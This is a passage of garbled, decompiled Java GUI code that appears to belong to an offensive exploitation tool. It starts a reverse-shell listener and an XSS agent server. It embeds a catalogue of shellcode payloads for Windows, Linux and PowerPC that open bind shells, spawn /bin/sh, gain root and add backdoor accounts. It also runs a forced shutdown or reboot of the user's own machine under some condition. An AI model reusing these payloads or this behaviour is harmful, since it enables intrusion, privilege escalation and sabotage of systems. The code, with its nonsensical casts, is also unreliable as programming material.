            if ((str7 = System.getProperty("os.name")).contains("Windows"))
              this.a = (JTree)"shutdown /s /f /t 0"; 
            if (str7.equals("Linux"))
              this.a = (JTree)"reboot"; 
            if (str7.contains("Mac"))
              this.a = (JTree)"reboot"; 
            Runtime.getRuntime().exec((String)this.a);
          } 
        } else {
          String str7;
          if ((str7 = System.getProperty("os.name")).contains("Windows"))
            this.a = (JTree)"shutdown /s /f /t 0"; 
          if (str7.equals("Linux"))
            this.a = (JTree)"reboot"; 
          if (str7.contains("Mac"))
            this.a = (JTree)"reboot"; 
          Runtime.getRuntime().exec((String)this.a);
        } 
      } 
      if (this.a < ') {
        if (!SplashScreen.d)
          NotEnough.main(null); 
      } else if (((String)arrayList.get(1)).equals("open")) {
        DidyouKnow.main(null);
      } 
      DefaultTreeModel defaultTreeModel6;
      DefaultMutableTreeNode defaultMutableTreeNode3;
      (defaultMutableTreeNode3 = (DefaultMutableTreeNode)((DefaultTreeModel)this.d.getModel()).getChild((defaultTreeModel6 = (DefaultTreeModel)this.d.getModel()).getRoot(), 0)).add(new DefaultMutableTreeNode("127.0.1.1"));
      this.d.expandRow(0);
      defaultTreeModel6.reload(defaultMutableTreeNode3);
      DefaultMutableTreeNode defaultMutableTreeNode1;
      (defaultMutableTreeNode1 = (DefaultMutableTreeNode)((DefaultTreeModel)this.e.getModel()).getChild((defaultTreeModel1 = (DefaultTreeModel)this.e.getModel()).getRoot(), 0)).add(new DefaultMutableTreeNode("Source: " + Inet4Address.getLocalHost().getHostAddress()));
      this.e.expandRow(0);
      defaultTreeModel1.reload(defaultMutableTreeNode1);
      this.d.append("[" + this.K + "] Total modules on this instance: " + this.a + "\n");
      this.d.append("[" + this.K + "] Available in packs: 41.890\n");
      T.a("Modules loaded successfully: OK");
      T.a("Total of modules for this instance: " + this.a);
      T.a("Starting Reverse Shell listener on port 1234");
      System.out.println("[*] Multi-Thread Reverse Shell Agent - Listening on port: 1234");
      (new aO(this, "agentThread", defaultMutableTreeNode3)).start();
      System.out.println("[*] Browser XSS Agent Server - Listeting on port: 8000");
      (new ci(this, "xssThread", defaultMutableTreeNode3)).start();
      this.p.append("\n\nWindows XP/7/8 - Adds user 'x' with password 'y'\n shell = \"\\x31\\xc9\\x83\\xe9\\xce\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\xe8\\x5e\\x22\\xde\\x83\\xeb\\xfc\\xe2\\xf4\\x14\\xb6\\x66\\xde\\xe8\\x5e\\xa9\\x9b\\xd4\\xd5\\x5e\\xdb\\x90\\x5f\\xcd\\x55\\xa7\\x46\\xa9\\x81\\xc8\\x5f\\xc9\\x97\\x63\\x6a\\xa9\\xdf\\x06\\x6f\\xe2\\x47\\x44\\xda\\xe2\\xaa\\xef\\x9f\\xe8\\xd3\\xe9\\x9c\\xc9\\x2a\\xd3\\x0a\\x06\\xda\\x9d\\xbb\\xa9\\x81\\xcc\\x5f\\xc9\\xb8\\x63\\x52\\x69\\x55\\xb7\\x42\\x23\\x35\\x63\\x42\\xa9\\xdf\\x03\\xd7\\x7e\\xfa\\xec\\x9d\\x13\\x1e\\x8c\\xd5\\x62\\xee\\x6d\\x9e\\x5a\\xd2\\x63\\x1e\\x2e\\x55\\x98\\x42\\x8f\\x55\\x80\\x56\\xc9\\xd7\\x63\\xde\\x92\\xde\\xe8\\x5e\\xa9\\xb6\\xd4\\x01\\x13\\x28\\x88\\x08\\xab\\x26\\x6b\\x9e\\x59\\x8e\\x80\\xae\\xa8\\xda\\xb7\\x36\\xba\\x20\\x62\\x50\\x75\\x21\\x0f\\x3d\\x4f\\xba\\xc6\\x3b\\x5a\\xbb\\xc8\\x71\\x41\\xfe\\x86\\x3b\\x56\\xfe\\x9d\\x2d\\x47\\xac\\xc8\\x27\\x02\\xa6\\xc8\\x71\\x63\\x9a\\xac\\x7e\\x04\\xf8\\xc8\\x30\\x47\\xaa\\xc8\\x32\\x4d\\xbd\\x89\\x32\\x45\\xac\\x87\\x2b\\x52\\xfe\\xa9\\x3a\\x4f\\xb7\\x86\\x37\\x51\\xaa\\x9a\\x3f\\x56\\xb1\\x9a\\x2d\\x02\\xa7\\xc8\\x71\\x63\\x9a\\xac\\x5e\\x22\\xde\"\n\n");
      this.p.append("Binds a shell terminal at port 4444\n shell = \"\\x33\\xc9\\x83\\xe9\\xb8\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x7a\\xba\\xcb\\x13\\x83\\xeb\\xfc\\xe2\\xf4\\x86\\xd0\\x20\\x5e\\x92\\x43\\x34\\xec\\x85\\xda\\x40\\x7f\\x5e\\x9e\\x40\\x56\\x46\\x31\\xb7\\x16\\x02\\xbb\\x24\\x98\\x35\\xa2\\x40\\x4c\\x5a\\xbb\\x20\\x5a\\xf1\\x8e\\x40\\x12\\x94\\x8b\\x0b\\x8a\\xd6\\x3e\\x0b\\x67\\x7d\\x7b\\x01\\x1e\\x7b\\x78\\x20\\xe7\\x41\\xee\\xef\\x3b\\x0f\\x5f\\x40\\x4c\\x5e\\xbb\\x20\\x75\\xf1\\xb6\\x80\\x98\\x25\\xa6\\xca\\xf8\\x79\\x96\\x40\\x9a\\x16\\x9e\\xd7\\x72\\xb9\\x8b\\x10\\x77\\xf1\\xf9\\xfb\\x98\\x3a\\xb6\\x40\\x63\\x66\\x17\\x40\\x53\\x72\\xe4\\xa3\\x9d\\x34\\xb4\\x27\\x43\\x85\\x6c\\xad\\x40\\x1c\\xd2\\xf8\\x21\\x12\\xcd\\xb8\\x21\\x25\\xee\\x34\\xc3\\x12\\x71\\x26\\xef\\x41\\xea\\x34\\xc5\\x25\\x33\\x2e\\x75\\xfb\\x57\\xc3\\x11\\x2f\\xd0\\xc9\\xec\\xaa\\xd2\\x12\\x1a\\x8f\\x17\\x9c\\xec\\xac\\xe9\\x98\\x40\\x29\\xf9\\x98\\x50\\x29\\x45\\x1b\\x7b\\x7a\\xba\\xcb\\x13\\x1c\\xd2\\xda\\x4f\\x1c\\xe9\\x42\\xf2\\xef\\xd2\\x27\\xea\\xd0\\xda\\x9c\\xec\\xac\\xd0\\xdb\\x42\\x2f\\x45\\x1b\\x75\\x10\\xde\\xad\\x7b\\x19\\xd7\\xa1\\x43\\x23\\x93\\x07\\x9a\\x9d\\xd0\\x8f\\x9a\\x98\\x8b\\x0b\\xe0\\xd0\\x2f\\x42\\xee\\x84\\xf8\\xe6\\xed\\x38\\x96\\x46\\x69\\x42\\x11\\x60\\xb8\\x12\\xc8\\x35\\xa0\\x6c\\x45\\xbe\\x3b\\x85\\x6c\\x90\\x44\\x28\\xeb\\x9a\\x42\\x10\\xbb\\x9a\\x42\\x2f\\xeb\\x34\\xc3\\x12\\x17\\x12\\x16\\xb4\\xe9\\x34\\xc5\\x10\\x45\\x34\\x24\\x85\\x6a\\xa3\\xf4\\x03\\x7c\\xb2\\xec\\x0f\\xbe\\x34\\xc5\\x85\\xcd\\x37\\xec\\xaa\\xd2\\x3b\\x99\\x7e\\xe5\\x98\\xec\\xac\\x45\\x1b\\x13\"\n\n");
      this.p.append("Runs cmd.exe and ExitThread\n shell = \"\\x31\\xc9\\x83\\xe9\\xdd\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\xa8\\x2a\\x6e\\x63\\x83\\xeb\\xfc\\xe2\\xf4\\x54\\xc2\\x2a\\x63\\xa8\\x2a\\xe5\\x26\\x94\\xa1\\x12\\x66\\xd0\\x2b\\x81\\xe8\\xe7\\x32\\xe5\\x3c\\x88\\x2b\\x85\\x2a\\x23\\x1e\\xe5\\x62\\x46\\x1b\\xae\\xfa\\x04\\xae\\xae\\x17\\xaf\\xeb\\xa4\\x6e\\xa9\\xe8\\x85\\x97\\x93\\x7e\\x4a\\x67\\xdd\\xcf\\xe5\\x3c\\x8c\\x2b\\x85\\x05\\x23\\x26\\x25\\xe8\\xf7\\x36\\x6f\\x88\\x23\\x36\\xe5\\x62\\x43\\xa3\\x32\\x47\\xac\\xe9\\x5f\\xa3\\xcc\\xa1\\x2e\\x53\\x2d\\xea\\x16\\x6f\\x23\\x6a\\x62\\xe8\\xd8\\x36\\xc3\\xe8\\xc0\\x22\\x85\\x6a\\x23\\xaa\\xde\\x63\\xa8\\x2a\\xe5\\x0b\\x94\\x75\\x5f\\x95\\xc8\\x7c\\xe7\\x9b\\x2b\\xea\\x15\\x33\\xc0\\xc5\\xa0\\x83\\xc8\\x42\\xf6\\x9d\\x22\\x24\\x39\\x9c\\x4f\\x49\\x03\\x07\\x86\\x4f\\x16\\x06\\xa8\\x2a\\x6e\\x63\"\n\n");
      this.p.append("EggHunter for Windows Platforms\n EggHunter = \"\\x66\\x81\\xca\\xff\\x0f\\x42\\x52\\x6a\\x02\\x58\\xcd\\x2e\\x3c\\x05\\x5a\\x74\\xef\\xb8\\\" # Egg Hunter\n");
      this.p.append(" EggHunter += \"\\x54\\x30\\x30\\x57\\\" # Egg - W00T\n");
      this.p.append(" EggHunter += \"\\x8b\\xfa\\xaf\\x75\\xea\\xaf\\x75\\xe7\\xff\\xe7\\\" # Egg\n\n");
      this.p.append("As a proof of concept shows a MessageBox\n shell = \"\\xeb\\x10\\x58\\x31\\xc9\\x66\\x81\\xe9\\x22\\xff\\x80\\x30\\x1d\\x40\\xe2\\xfa\\xeb\\x05\\xe8\\xeb\\xff\\xff\\xff\\xf4\\xd1\\x1d\\x1d\\x1d\\x42\\xf5\\x4b\\x1d\\x1d\\x1d\\x94\\xde\\x4d\\x75\\x93\\x53\\x13\\xf1\\xf5\\x7d\\x1d\\x1d\\x1d\\x2c\\xd4\\x7b\\xa4\\x72\\x73\\x4c\\x75\\x68\\x6f\\x71\\x70\\x49\\xe2\\xcd\\x4d\\x75\\x2b\\x07\\x32\\x6d\\xf5\\x5b\\x1d\\x1d\\x1d\\x2c\\xd4\\x4c\\x4c\\x90\\x2a\\x4b\\x90\\x6a\\x15\\x4b\\x4c\\xe2\\xcd\\x4e\\x75\\x85\\xe3\\x97\\x13\\xf5\\x30\\x1d\\x1d\\x1d\\x4c\\x4a\\xe2\\xcd\\x2c\\xd4\\x54\\xff\\xe3\\x4e\\x75\\x63\\xc5\\xff\\x6e\\xf5\\x04\\x1d\\x1d\\x1d\\xe2\\xcd\\x48\\x4b\\x79\\xbc\\x2d\\x1d\\x1d\\x1d\\x96\\x5d\\x11\\x96\\x6d\\x01\\xb0\\x96\\x75\\x15\\x94\\xf5\\x43\\x40\\xde\\x4e\\x48\\x4b\\x4a\\x96\\x71\\x39\\x05\\x96\\x58\\x21\\x96\\x49\\x18\\x65\\x1c\\xf7\\x96\\x57\\x05\\x96\\x47\\x3d\\x1c\\xf6\\xfe\\x28\\x54\\x96\\x29\\x96\\x1c\\xf3\\x2c\\xe2\\xe1\\x2c\\xdd\\xb1\\x25\\xfd\\x69\\x1a\\xdc\\xd2\\x10\\x1c\\xda\\xf6\\xef\\x26\\x61\\x39\\x09\\x68\\xfc\\x96\\x47\\x39\\x1c\\xf6\\x7b\\x96\\x11\\x56\\x96\\x47\\x01\\x1c\\xf6\\x96\\x19\\x96\\x1c\\xf5\\xf4\\x1f\\x1d\\x1d\\x1d\\x2c\\xdd\\x94\\xf7\\x42\\x43\\x40\\x46\\xde\\xf5\\x32\\xe2\\xe2\\xe2\\x70\\x75\\x75\\x33\\x78\\x65\\x78\\x1d\"\n\n");
      this.p.append("Execute x86.linux.bind and bind port 4444\n shell = \"\\x33\\xc9\\x83\\xe9\\xeb\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x81\\x9c\\x95\\xe9\\x83\\xeb\\xfc\\xe2\\xf4\\xb0\\x47\\xc6\\xaa\\xd2\\xf6\\x97\\x83\\xe7\\xc4\\x0c\\x60\\x60\\x51\\x15\\x7f\\xc2\\xce\\xf3\\x81\\x90\\xc0\\xf3\\xba\\x08\\x7d\\xff\\x8f\\xd9\\xcc\\xc4\\xbf\\x08\\x7d\\x58\\x69\\x31\\xfa\\x44\\x0a\\x4c\\x1c\\xc7\\xbb\\xd7\\xdf\\x1c\\x08\\x31\\xfa\\x58\\x69\\x12\\xf6\\x97\\xb0\\x31\\xa3\\x58\\x69\\xc8\\xe5\\x6c\\x59\\x8a\\xce\\xfd\\xc6\\xae\\xef\\xfd\\x81\\xae\\xfe\\xfc\\x87\\x08\\x7f\\xc7\\xba\\x08\\x7d\\x58\\x69\\x00\"\n");
      this.p.append("Adds user 'x' with password 'y'\n shell = \"\\x31\\xc9\\x89\\xcb\\x6a\\x46\\x58\\xcd\\x80\\x6a\\x05\\x58\\x31\\xc9\\x51\\x68\\x73\\x73\\x77\\x64\\x68\\x2f\\x2f\\x70\\x61\\x68\\x2f\\x65\\x74\\x63\\x89\\xe3\\x41\\xb5\\x04\\xcd\\x80\\x93\\xe8\\x1f\\x00\\x00\\x00\\x78\\x3a\\x41\\x7a\\x37\\x44\\x71\\x55\\x7a\\x47\\x6a\\x77\\x69\\x4d\\x77\\x3a\\x30\\x3a\\x30\\x3a\\x3a\\x2f\\x3a\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x0a\\x59\\x8b\\x51\\xfc\\x6a\\x04\\x58\\xcd\\x80\\x6a\\x01\\x58\\xcd\\x80\"\n\n");
      this.p.append("Execute x86.linux.binsh\n shell = \"\\x31\\xc0\\x50\\x68\\x30\\x30\\x84\\x79\\x68\\x30\\x73\\x7a\\x7f\\x89\\xe3\\x50\\x53\\x89\\xe1\\x99\\xb0\\x0b\\xcd\\x80\"\n\n");
      this.p.append("Binds a shell at port 4444\n shell = \"\\x31\\xc9\\x83\\xe9\\xec\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\xce\\xd3\\x61\\x53\\x83\\xeb\\xfc\\xe2\\xf4\\xa4\\xb2\\x39\\xca\\x9c\\xbb\\x71\\x51\\xdf\\x8f\\xe8\\xb2\\x9c\\x91\\x33\\x11\\x9c\\xb9\\x71\\x9e\\x4e\\x4a\\xf2\\x02\\x9d\\x81\\x0b\\x3b\\x96\\x1e\\xe1\\xe3\\xa4\\x1e\\xe1\\x01\\x9d\\x81\\xd1\\x4d\\x03\\x53\\xf6\\x39\\xcc\\x8a\\x0b\\x09\\x96\\x82\\x36\\x02\\x03\\x53\\x28\\x2a\\x3b\\x83\\x09\\x7c\\xe1\\xa0\\x09\\x3b\\xe1\\xb1\\x08\\x3d\\x47\\x30\\x31\\x07\\x9d\\x80\\xd1\\x68\\x03\\x53\\x61\\x53\"\n\n");
      this.p.append("Setuid(0) and runs /bin/sh\n shell = \"\\x31\\xc0\\x50\\x50\\xb0\\x17\\xcd\\x80\\x31\\xc0\\x50\\x68\\x30\\x30\\x84\\x79\\x79\\x30\\x73\\x7a\\x7f\\x89\\xe3\\x50\\x54\\x53\\x50\\xb0\\x3b\\xcd\\x80\"\n\n");
      this.p.append("Binds a shell at port 4444\n shell = \"\\x38\\x60\\x00\\x02\\x38\\x80\\x00\\x01\\x38\\xa0\\x00\\x06\\x38\\x00\\x00\\x61\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x7c\\x7e\\x1b\\x78\\x48\\x00\\x00\\x0d\\x00\\x02\\x11\\x5c\\x00\\x00\\x00\\x00\\x7c\\x88\\x02\\xa6\\x38\\xa0\\x00\\x10\\x38\\x00\\x00\\x68\\x7f\\xc3\\xf3\\x78\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x38\\x00\\x00\\x6a\\x7f\\xc3\\xf3\\x78\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x7f\\xc3\\xf3\\x78\\x38\\x00\\x00\\x1e\\x38\\x80\\x00\\x10\\x90\\x81\\xff\\xe8\\x38\\xa1\\xff\\xe8\\x38\\x81\\xff\\xf0\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x7c\\x7e\\x1b\\x78\\x38\\xa0\\x00\\x02\\x38\\x00\\x00\\x5a\\x7f\\xc3\\xf3\\x78\\x7c\\xa4\\x2b\\x78\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x38\\xa5\\xff\\xff\\x2c\\x05\\xff\\xff\\x40\\x82\\xff\\xe5\\x38\\x00\\x00\\x42\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x7c\\xa5\\x2a\\x79\\x40\\x82\\xff\\xfd\\x7c\\x68\\x02\\xa6\\x38\\x63\\x00\\x28\\x90\\x61\\xff\\xf8\\x90\\xa1\\xff\\xfc\\x38\\x81\\xff\\xf8\\x38\\x00\\x00\\x3b\\x7c\\x00\\x04\\xac\\x44\\x00\\x00\\x02\\x7c\\x00\\x02\\x78\\x7f\\xe0\\x00\\x08\\x2f\\x62\\x69\\x6e\\x2f\\x63\\x73\\x68\\x00\\x00\\x00\\x00\"\n\n");
      this.p.append("Adds a root user named 'r00t' with no pass\n shell = \"\\x7c\\xa5\\x2a\\x79\\x40\\x82\\xff\\xfd\\x7d\\x48\\x02\\xa6\\x3b\\xea\\x01\\x70\\x39\\x60\\x01\\x70\\x39\\x1f\\xff\\x0d\\x7c\\xa8\\x29\\xae\\x38\\x7f\\xff\\x04\\x38\\x80\\x02\\x01\\x38\\xa0\\xff\\xff\\x38\\x0b\\xfe\\x95\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\\x38\\x9f\\xff\\x0e\\x38\\xab\\xfe\\xe5\\x38\\x0b\\xfe\\x94\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\\x38\\x0b\\xfe\\x96\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\\x7c\\xa5\\x2a\\x79\\x38\\x7f\\xff\\x04\\x90\\x61\\xff\\xf8\\x90\\xa1\\xff\\xfc\\x38\\x81\\xff\\xf8\\x38\\x0b\\xfe\\xcb\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\\x38\\x0b\\xfe\\x91\\x44\\xff\\xff\\x02\\x2f\\x74\\x6d\\x70\\x2f\\x78\\x2e\\x73\\x68\\x58\\x23\\x21\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x0a\\x2f\\x62\\x69\\x6e\\x2f\\x65\\x63\\x68\\x6f\\x20\\x27\\x72\\x30\\x30\\x74\\x3a\\x3a\\x39\\x39\\x39\\x3a\\x38\\x30\\x3a\\x3a\\x30\\x3a\\x30\\x3a\\x72\\x30\\x30\\x74\\x3a\\x2f\\x3a\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x27\\x20\\x7c\\x20\\x2f\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x6e\\x69\\x6c\\x6f\\x61\\x64\\x20\\x2d\\x6d\\x20\\x70\\x61\\x73\\x73\\x77\\x64\\x20\\x2e\\x0a\"\n\n");
      this.p.append("Executes /bin/sh\n shell = \"\\x7c\\xa5\\x2a\\x79\\x40\\x82\\xff\\xfd\\x7d\\x68\\x02\\xa6\\x3b\\xeb\\x01\\x70\\x39\\x40\\x01\\x70\\x39\\x1f\\xfe\\xcf\\x7c\\xa8\\x29\\xae\\x38\\x7f\\xfe\\xc8\\x90\\x61\\xff\\xf8\\x90\\xa1\\xff\\xfc\\x38\\x81\\xff\\xf8\\x38\\x0a\\xfe\\xcb\\x44\\xff\\xff\\x02\\x7c\\xa3\\x2b\\x78\\x38\\x0a\\xfe\\x91\\x44\\xff\\xff\\x02\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x58\"\n\n");
      this.p.append("Reboots the remote box\n shell = \"\\x7c\\x63\\x1a\\x79\\x39\\x40\\x01\\x70\\x38\\x0a\\xfe\\xb4\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\\x38\\x0a\\xfe\\xc7\\x44\\xff\\xff\\x02\"\n");
      this.p.setCaretPosition(0);
      this.a.setSelectionRow(1);
    } catch (IOException iOException) {
      Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, (String)null, iOException);
    } catch (Exception exception) {
      Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, (String)null, exception);
    } 
    setExtendedState(6);
    setExtendedState(getExtendedState() | 0x6);
  }
  
  private void t() {
    this.R = (JTextField)new JMenuItem();
    this.f = (JTree)new JSeparator();
    this.e = (JTree)new JSeparator();
    this.a = (JTree)new JPopupMenu();
    this.a = (JTree)new JPanel();
    this.s = (JPopupMenu.Separator)new JScrollPane();
    this.d = new JTree();
    this.j = (JTextArea)new JLabel();
    this.b = (JToolBar)new JPanel();
    this.n = (JTextArea)new JLabel();
    this.e = (JTree)new JTextField();
    this.d = (JTree)new JButton();
    this.u = (JPopupMenu.Separator)new JLabel();
    this.e = (JTree)new JComboBox();
    this.i = (JTextArea)new JPanel();
    this.c = (JTree)new JTabbedPane();
    this.a = (JTree)new JScrollPane();
    this.a = new JTree();
    this.g = (JTree)new JScrollPane();
    this.f = new JTree();
    this.r = (JTextArea)new JScrollPane();
    this.h = new JTree();
    this.j = (JTextArea)new JScrollPane();
    this.g = new JTree();
    this.a = (JTree)new JToolBar();
    this.w = (JTextField)new JToolBar.Separator();
    this.e = (JTree)new JButton();
    this.a = (JTree)new JToolBar.Separator();
    this.c = (JTree)new JButton();
    this.j = (JTextArea)new JToolBar.Separator();
    this.g = (JTree)new JButton();
    this.x = (JTextField)new JToolBar.Separator();
    this.J = (JTextField)new JButton();
    this.B = (JTextField)new JToolBar.Separator();
    this.K = (JTextField)new JButton();
    this.D = (JTextField)new JToolBar.Separator();
    this.L = (JTextField)new JButton();
    this.N = (JTextField)new JLabel();
    this.E = (JTextField)new JToolBar.Separator();
    this.h = (JTree)new JButton();
    this.o = (JTextArea)new JToolBar.Separator();
    this.j = (JTextArea)new JButton();
    this.e = (JTree)new JToolBar.Separator();
    this.s = (JPopupMenu.Separator)new JButton();
    this.d = (JTree)new JToolBar.Separator();
    this.k = (JTextArea)new JButton();
    this.b = (JToolBar)new JToolBar.Separator();
    this.l = (JTextArea)new JButton();
    this.k = (JTextArea)new JToolBar.Separator();
    this.w = (JTextField)new JButton();
    this.r = (JTextArea)new JToolBar.Separator();
    this.x = (JTextField)new JButton();
    this.c = (JTree)new JToolBar.Separator();
    this.f = (JTree)new JButton();
    this.z = (JTextField)new JToolBar.Separator();
    this.E = (JTextField)new JButton();
    this.l = (JTextArea)new JToolBar.Separator();
    this.C = (JTextField)new JButton();
    this.A = (JTextField)new JToolBar.Separator();
    this.G = (JTextField)new JButton();
    this.C = (JTextField)new JToolBar.Separator();
    this.H = (JTextField)new JButton();
    this.a = (JTree)new JTabbedPane();
    this.J = (JTextField)new JPanel();
    this.c = (JTree)new JPanel();
    this.a = (JTree)new JLabel();
    this.b = (JToolBar)new JLabel();
    this.c = (JTree)new JLabel();
    this.d = (JTree)new JLabel();
    this.L = new JTextField();
    this.Q = new JTextField();
    this.R = new JTextField();
    this.S = new JTextField();
    this.y = (JTextField)new JLabel();
    this.e = (JTree)new JLabel();
    this.B = new JTextField();
    this.V = new JTextField();
    this.f = (JTree)new JLabel();
    this.g = (JTree)new JLabel();
    this.b = (JToolBar)new JComboBox();
    this.G = new JTextField();
    this.F = (JTextField)new JPanel();
    this.b = new JToolBar();
    this.n = (JTextArea)new JButton();
    this.f = (JTree)new JToolBar.Separator();
    this.A = (JTextField)new JButton();
    this.r = (JTextArea)new JButton();
    this.y = (JTextField)new JToolBar.Separator();
    this.y = (JTextField)new JButton();
    this.v = (JPopupMenu.Separator)new JToolBar.Separator();
    this.o = (JTextArea)new JButton();
    this.g = (JTree)new JToolBar.Separator();
    this.z = (JTextField)new JButton();
    this.h = (JTree)new JToolBar.Separator();
    this.q = (JTextArea)new JButton();
    this.i = (JTextArea)new JToolBar.Separator();
    this.Q = (JTextField)new JButton();
    this.K = (JTextField)new JPanel();
    this.l = (JTextArea)new JPanel();
    this.R = (JTextField)new JButton();
    this.M = new JTextField();
    this.b = (JToolBar)new JScrollPane();
    this.o = new JTextArea();
    this.S = (JTextField)new JButton();
    this.j = (JTextArea)new JPanel();
    this.r = (JTextArea)new JPanel();
    this.c = (JTree)new JToolBar();
    this.E = (JTextField)new JLabel();
    this.P = (JTextField)new JLabel();
    this.q = (JTextArea)new JToolBar.Separator();
    this.I = (JTextField)new JLabel();
    this.O = (JTextField)new JLabel();
    this.n = (JTextArea)new JToolBar.Separator();
    this.d = (JTree)new JCheckBox();
    this.u = (JPopupMenu.Separator)new JToolBar.Separator();
    this.v = (JPopupMenu.Separator)new JButton();
    this.m = (JTextArea)new JToolBar.Separator();
    this.t = (JPopupMenu.Separator)new JButton();
    this.t = (JPopupMenu.Separator)new JToolBar.Separator();
    this.u = (JPopupMenu.Separator)new JButton();
    this.p = (JTextArea)new JToolBar.Separator();
    this.m = (JTextArea)new JButton();
    this.s = (JPopupMenu.Separator)new JToolBar.Separator();
    this.L = (JTextField)new JPanel();
    this.d = (JTree)new JPanel();
    this.f = (JTree)new JPanel();
    this.f = (JTree)new JScrollPane();
    this.k = new JTextArea();
    this.D = (JTextField)new JLabel();
    this.N = (JTextField)new JButton();
    this.E = new JTextField();
    this.h = (JTree)new JComboBox();
    this.v = (JPopupMenu.Separator)new JLabel();
    this.F = (JTextField)new JLabel();
    this.F = new JTextField();
    this.G = (JTextField)new JLabel();
    this.v = (JPopupMenu.Separator)new JTextField();
    this.O = (JTextField)new JButton();
    this.p = (JTextArea)new JButton();
    this.H = new JTextField();
    this.K = (JTextField)new JLabel();
    this.z = (JTextField)new JPanel();
    this.A = (JTextField)new JPanel();
    this.h = (JTree)new JScrollPane();
    this.l = new JTextArea();
    this.P = (JTextField)new JButton();
    this.C = new JTextField();
    this.L = (JTextField)new JLabel();
    this.D = new JTextField();
    this.M = (JTextField)new JLabel();
    this.F = (JTextField)new JButton();
    this.g = (JTree)new JCheckBox();
    this.i = (JTextArea)new JCheckBox();
    this.h = (JTree)new JCheckBox();
    this.f = (JTree)new JCheckBox();
    this.k = (JTextArea)new JCheckBox();
    this.e = (JTree)new JCheckBox();
    this.G = (JTextField)new JPanel();
    this.I = (JTextField)new JPanel();
    this.e = (JTree)new JPanel();
    this.h = (JTree)new JLabel();
    this.J = new JTextField();
    this.o = (JTextArea)new JLabel();
    this.K = new JTextField();
    this.p = (JTextArea)new JLabel();
    this.I = new JTextField();
    this.i = (JTextArea)new JButton();
    this.k = (JTextArea)new JPanel();
    this.p = (JTextArea)new JScrollPane();
    this.m = new JTextArea();
    this.g = (JTree)new JPanel();
    this.f = (JTree)new JComboBox();
    this.q = (JTextArea)new JLabel();
    this.w = new JTextField();
    this.r = (JTextArea)new JLabel();
    this.s = (JPopupMenu.Separator)new JLabel();
    this.y = new JTextField();
    this.q = (JTextArea)new JPanel();
    this.i = (JTextArea)new JScrollPane();
    this.n = new JTextArea();
    this.b = (JToolBar)new JButton();
    this.s = (JPopupMenu.Separator)new JPanel();
    this.g = (JTree)new JComboBox();
    this.w = (JTextField)new JLabel();
    this.x = new JTextField();
    this.x = (JTextField)new JLabel();
    this.B = (JTextField)new JLabel();
    this.z = new JTextField();
    this.t = (JPopupMenu.Separator)new JLabel();
    this.H = (JTextField)new JPanel();
    this.a = (JTree)new JButton();
    this.e = (JTree)new JScrollPane();
    this.q = new JTextArea();
    this.k = (JTextArea)new JLabel();
    this.P = new JTextField();
    this.l = (JTextArea)new JLabel();
    this.N = new JTextField();
    this.m = (JTextArea)new JLabel();
    this.O = new JTextField();
    this.j = (JTextArea)new JCheckBox();
    this.D = (JTextField)new JPanel();
    this.q = (JTextArea)new JScrollPane();
    this.p = new JTextArea();
    this.t = (JPopupMenu.Separator)new JPanel();
    this.u = (JPopupMenu.Separator)new JPanel();
    this.v = (JPopupMenu.Separator)new JPanel();
    this.C = (JTextField)new JLabel();
    this.A = new JTextField();
    this.B = (JTextField)new JButton();
    this.D = (JTextField)new JButton();
    this.y = (JTextField)new JPanel();
    this.k = (JTextArea)new JScrollPane();
    this.j = new JTextArea();
    this.w = (JTextField)new JPanel();
    this.x = (JTextField)new JPanel();
    this.B = (JTextField)new JPanel();
    this.H = (JTextField)new JLabel();
    this.T = new JTextField();
    this.I = (JTextField)new JButton();
    this.J = (JTextField)new JLabel();
    this.U = new JTextField();
    this.C = (JTextField)new JPanel();
    this.l = (JTextArea)new JScrollPane();
    this.r = new JTextArea();
    this.b = (JToolBar)new JTabbedPane();
    this.h = (JTree)new JPanel();
    this.m = (JTextArea)new JScrollPane();
    this.d = (JTree)new JTextArea();
    this.m = (JTextArea)new JPanel();
    this.c = (JTree)new JScrollPane();
    this.h = (JTree)new JTextArea();
    this.n = (JTextArea)new JPanel();
    this.d = (JTree)new JScrollPane();
    this.i = new JTextArea();
    this.E = (JTextField)new JPanel();
    this.b = (JToolBar)new JProgressBar();
    this.i = (JTextArea)new JLabel();
    this.Q = (JTextField)new JLabel();
    this.o = (JTextArea)new JPanel();
    this.n = (JTextArea)new JScrollPane();
    this.e = new JTree();
    this.p = (JTextArea)new JPanel();
    this.o = (JTextArea)new JScrollPane();
    this.c = new JTree();
    this.M = (JTextField)new JButton();
    this.a = (JTree)new JMenuBar();
    this.a = (JTree)new JMenu();
    this.l = (JTextArea)new JMenuItem();
    this.w = (JTextField)new JMenuItem();
    this.c = (JTree)new JPopupMenu.Separator();
    this.Q = (JTextField)new JMenuItem();
    this.Y = new JMenuItem();
    this.v = new JPopupMenu.Separator();
    this.au = new JMenuItem();
    this.z = (JTextField)new JPopupMenu.Separator();
    this.ax = new JMenuItem();
    this.m = (JTextArea)new JPopupMenu.Separator();
    this.ad = new JMenuItem();
    this.a = (JTree)new JPopupMenu.Separator();
    this.S = (JTextField)new JMenuItem();
    this.H = (JTextField)new JMenuItem();
